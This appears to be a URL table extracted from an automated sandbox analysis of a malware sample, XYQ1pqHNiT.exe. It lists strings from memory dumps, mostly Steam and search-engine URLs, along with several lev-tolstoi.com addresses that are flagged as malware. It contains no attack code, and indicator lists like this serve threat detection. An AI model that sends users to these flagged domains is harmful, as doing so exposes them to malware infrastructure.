https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=Ncr6N09yZIap&amp	XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1295969968.000000000158C000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/sA	XYQ1pqHNiT.exe, 00000000.00000003.1459985076.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1482177058.000000000159B000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1482065447.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1481936231.000000000154A000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1460153066.00000000015A0000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000002.1534533958.000000000159E000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1481701577.000000000159E000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1459853456.000000000158D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://steamcommunity.com/?subsection=broadcasts	XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/s	XYQ1pqHNiT.exe, 00000000.00000003.1481701577.000000000159E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/q	XYQ1pqHNiT.exe, 00000000.00000003.1432222769.0000000001549000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://store.steampowered.com/subscriber_agreement/	XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.gstatic.cn/recaptcha/	XYQ1pqHNiT.exe, 00000000.00000003.1344147969.0000000001589000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316975366.0000000001557000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316852023.000000000154A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com	XYQ1pqHNiT.exe, 00000000.00000003.1344147969.0000000001589000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316975366.0000000001557000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316852023.000000000154A000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.valvesoftware.com/legal.htm	XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=wuA4X_n5-mo0&l=en	XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1295969968.000000000158C000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampow	XYQ1pqHNiT.exe, 00000000.00000003.1437568699.0000000001589000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1460093926.0000000001589000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1459853456.0000000001546000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1432222769.0000000001549000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1481936231.000000000154A000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1482156077.000000000157D000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1437490012.0000000001535000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1437812652.000000000158A000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1533195210.000000000158B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.youtube.com	XYQ1pqHNiT.exe, 00000000.00000003.1316852023.000000000154A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com	XYQ1pqHNiT.exe, 00000000.00000003.1316852023.000000000154A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/BH	XYQ1pqHNiT.exe, 00000000.00000003.1437622519.00000000015B2000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1432222769.00000000015B2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	XYQ1pqHNiT.exe, 00000000.00000003.1316852023.000000000150C000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1295969968.000000000158C000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/	XYQ1pqHNiT.exe, 00000000.00000003.1344147969.0000000001589000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316975366.0000000001557000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316852023.000000000154A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=-yZgCk0Nu7kH&l=engl	XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66ET2uI50l&l=englis	XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1295969968.000000000158C000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC	XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1295969968.000000000158C000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://s.ytimg.com;	XYQ1pqHNiT.exe, 00000000.00000003.1344147969.0000000001589000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1482156077.000000000157D000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1437490012.0000000001535000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1437812652.000000000158A000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316975366.0000000001557000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316852023.000000000154A000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1533195210.000000000158B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=FRRi	XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1295969968.000000000158C000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1295969968.000000000158C000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1344110207.00000000015A5000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=qhQgyjWi6LgJ&l=english&	XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1295969968.000000000158C000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/c	XYQ1pqHNiT.exe, 00000000.00000003.1316852023.0000000001512000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://community.fastly.steamstatic.com/	XYQ1pqHNiT.exe, 00000000.00000003.1316852023.000000000154A000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1533195210.000000000158B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/d	XYQ1pqHNiT.exe, 00000000.00000003.1459985076.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1460153066.00000000015A0000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1459853456.000000000158D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steam.tv/	XYQ1pqHNiT.exe, 00000000.00000003.1296018079.0000000001558000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1437568699.0000000001589000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1432222769.0000000001549000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1344147969.0000000001589000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1437490012.0000000001535000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316975366.0000000001557000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316852023.000000000154A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=CcLRHsa04otQ&l=en	XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1295969968.000000000158C000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/	XYQ1pqHNiT.exe, 00000000.00000003.1344211505.0000000001528000.00000004.00000020.00020000.00000000.sdmp	false		high
http://store.steampowered.com/privacy_agreement/	XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1295969968.000000000158C000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1344110207.00000000015A5000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/points/shop/	XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	XYQ1pqHNiT.exe, 00000000.00000003.1344948935.0000000005D3E000.00000004.00000800.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1344861175.0000000005D41000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	XYQ1pqHNiT.exe, 00000000.00000003.1403519320.0000000005D2F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	XYQ1pqHNiT.exe, 00000000.00000003.1403519320.0000000005D2F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/modalv2.js?v=zBXEuexVQ0FZ&l=english&a	XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1295969968.000000000158C000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://sketchfab.com	XYQ1pqHNiT.exe, 00000000.00000003.1316852023.000000000154A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	XYQ1pqHNiT.exe, 00000000.00000003.1344861175.0000000005D41000.00000004.00000800.00020000.00000000.sdmp	false		high
https://lv.queniujq.cn	XYQ1pqHNiT.exe, 00000000.00000003.1296018079.0000000001558000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1437568699.0000000001589000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1432222769.0000000001549000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1344147969.0000000001589000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1437490012.0000000001535000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1437812652.000000000158A000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316975366.0000000001557000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316852023.000000000154A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/profiles/76561199724331900/inventory/	XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1295969968.000000000158C000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	XYQ1pqHNiT.exe, 00000000.00000003.1404827285.0000000005E0D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.youtube.com/	XYQ1pqHNiT.exe, 00000000.00000003.1344147969.0000000001589000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1482156077.000000000157D000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1437490012.0000000001535000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1437812652.000000000158A000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316975366.0000000001557000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316852023.000000000154A000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1533195210.000000000158B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/privacy_agreement/	XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng	XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1295969968.000000000158C000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fa	XYQ1pqHNiT.exe, 00000000.00000003.1437448923.000000000159B000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1459985076.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1432222769.0000000001549000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1437622519.00000000015A0000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1460153066.00000000015A0000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1481701577.000000000159E000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1459853456.000000000158D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am	XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1295969968.000000000158C000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/recaptcha/	XYQ1pqHNiT.exe, 00000000.00000003.1316852023.000000000154A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://checkout.steampowered.com/	XYQ1pqHNiT.exe, 00000000.00000003.1316852023.000000000154A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/mA	XYQ1pqHNiT.exe, 00000000.00000003.1432137191.00000000015B6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://store.steampowered.com/;	XYQ1pqHNiT.exe, 00000000.00000003.1296018079.0000000001558000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1344147969.0000000001589000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316975366.0000000001557000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316852023.000000000154A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/about/	XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/my/wishlist/	XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/ms	XYQ1pqHNiT.exe, 00000000.00000003.1459985076.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1460153066.00000000015A0000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1459853456.000000000158D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=JL1e4uQSrVGe&	XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1295969968.000000000158C000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/er	XYQ1pqHNiT.exe, 00000000.00000003.1459985076.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1460153066.00000000015A0000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1459853456.000000000158D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://help.steampowered.com/en/	XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/market/	XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/news/	XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	XYQ1pqHNiT.exe, 00000000.00000003.1344861175.0000000005D41000.00000004.00000800.00020000.00000000.sdmp	false		high
http://store.steampowered.com/subscriber_agreement/	XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1295969968.000000000158C000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1344110207.00000000015A5000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org	XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1295969968.000000000158C000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1344110207.00000000015A5000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://recaptcha.net/recaptcha/;	XYQ1pqHNiT.exe, 00000000.00000003.1316852023.000000000154A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/discussions/	XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/stats/	XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/javascript/shared_global.js?v=Gr6TbGRvDtNE&am	XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1295969968.000000000158C000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://medal.tv	XYQ1pqHNiT.exe, 00000000.00000003.1316852023.000000000154A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://broadcast.st.dl.eccdnx.com	XYQ1pqHNiT.exe, 00000000.00000003.1296018079.0000000001558000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1437568699.0000000001589000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1432222769.0000000001549000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1344147969.0000000001589000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1437490012.0000000001535000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1437812652.000000000158A000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316975366.0000000001557000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316852023.000000000154A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=EM4kCu67DNda&l=english&a	XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1295969968.000000000158C000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/steam_refunds/	XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	XYQ1pqHNiT.exe, 00000000.00000003.1403519320.0000000005D2F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	XYQ1pqHNiT.exe, 00000000.00000003.1403519320.0000000005D2F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	XYQ1pqHNiT.exe, 00000000.00000003.1344861175.0000000005D41000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/applications/community/main.css?v=Lj6X7NKUMfzk&a	XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1295969968.000000000158C000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900	XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016	XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/reportedcontent.js?v=-lZqrarogJr8&l=e	XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1295969968.000000000158C000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/workshop/	XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.steampowered.com/	XYQ1pqHNiT.exe, 00000000.00000003.1316852023.000000000154A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7C185ce35c568ebbb	XYQ1pqHNiT.exe, 00000000.00000003.1296018079.0000000001558000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1344147969.0000000001589000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316975366.0000000001557000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316852023.000000000154A000.00000004.00000020.00020000.00000000.sdmp	false		high
